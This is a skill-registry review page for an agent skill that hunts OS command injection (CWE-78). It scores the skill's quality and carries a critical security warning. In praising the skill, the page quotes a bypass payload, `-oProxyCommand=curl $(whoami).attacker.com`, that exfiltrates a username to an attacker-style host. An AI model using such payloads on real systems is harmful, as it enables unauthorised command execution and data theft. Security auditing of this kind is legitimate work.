CtrlK
BlogDocsLog inGet started
Tessl Logo

command-injection

Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.

73

Quality

91%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

Quality

Content

100%

Reviews the quality of instructions and guidance provided to agents. Good implementation is clear, handles edge cases, and produces reliable results.

A lean, highly actionable playbook that delivers executable grep commands, concrete bypass payloads, and copy-paste PoCs with an explicit validation contract. It is well-organized into navigable sections and needs no external references given its compact size.

DimensionReasoningScore

Conciseness

The body is a dense reference — sink tables, non-obvious-sink lists, grep commands, bypass payloads, PoCs, a validation contract, and a CVSS table — with no padding explaining concepts Claude already knows; the one-line intro is the only color and it motivates where to look.

3 / 3

Actionability

Provides executable Level 1/2/3 grep sweeps, concrete bypass payloads (e.g. `-oProxyCommand=curl $(whoami).attacker.com`, `${IFS}`), and copy-paste PoC curl commands — fully actionable and ready to run.

3 / 3

Workflow Clarity

The audit workflow is sequenced (Level 1 obvious sinks → Level 2 metacharacters → Level 3 template strings) and the `validate_finding` contract supplies an explicit validation checkpoint with success_patterns and a negative control, giving a find → confirm → validate loop.

3 / 3

Progressive Disclosure

A compact self-contained playbook (~95 lines) with no need for external references, organized into eight clearly numbered, navigable sections; nothing here would benefit from being split into nested bundle files.

3 / 3

Total

12

/

12

Passed

Description

82%

Based on the skill's description, can an agent find and select it at the right time? Clear, specific descriptions lead to better discovery.

A specific, distinctive description that names concrete actions and natural trigger terms, but it lacks an explicit "Use when..." clause in the description field itself, leaving the when-to-use guidance implicit rather than stated. Trigger keywords exist only in metadata.when_to_use, not in the description.

Suggestions

Add an explicit "Use when..." clause to the description field (e.g., "Use when auditing web apps or DevOps tooling for command injection, shell injection, or RCE") so the when-to-use trigger is stated inline rather than only in metadata.when_to_use.

Include common natural variations users say — "shell injection", "RCE", "code execution" — directly in the description to broaden trigger coverage beyond the technical CWE-78 framing.

Keep the existing bypass-specific phrasing but pair it with a user-facing scenario ("when reviewing upload handlers, PDF/image processors, or shell wrappers") to make the trigger context explicit.

DimensionReasoningScore

Specificity

Names a concrete action ("Hunt OS command injection (CWE-78)") plus the mechanism ("user input reaching shell, exec, or system calls") and three specific bypass categories ("argument-array bypasses, path confusion, and template-string injection"), matching the multiple-concrete-actions anchor.

3 / 3

Completeness

It clearly answers "what" (hunt command injection, covers named bypass classes) but the description field itself contains no "Use when..." clause or explicit trigger scenario, capping completeness at 2 per the guidelines. The when-to-use keywords live only in a separate metadata field, not the description.

2 / 3

Trigger Term Quality

Includes natural terms a user would say — "command injection", "shell", "exec", "system calls" — giving good coverage of the domain's everyday vocabulary alongside the technical CWE identifier.

3 / 3

Distinctiveness Conflict Risk

The CWE-78 command-injection niche with named bypass techniques is clearly distinguishable from adjacent skills (SQLi, XSS, SSTI) and unlikely to trigger for the wrong skill.

3 / 3

Total

11

/

12

Passed

Validation

93%

Checks the skill against the spec for correct structure and formatting. All validation checks must pass before discovery and implementation can be scored.

Validation15 / 16 Passed

Validation for skill structure

CriteriaDescriptionResult

metadata_version

'metadata.version' is missing

Warning

Total

15

/

16

Passed

Repository
PurpleAILAB/Decepticon
Reviewed

Table of Contents

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.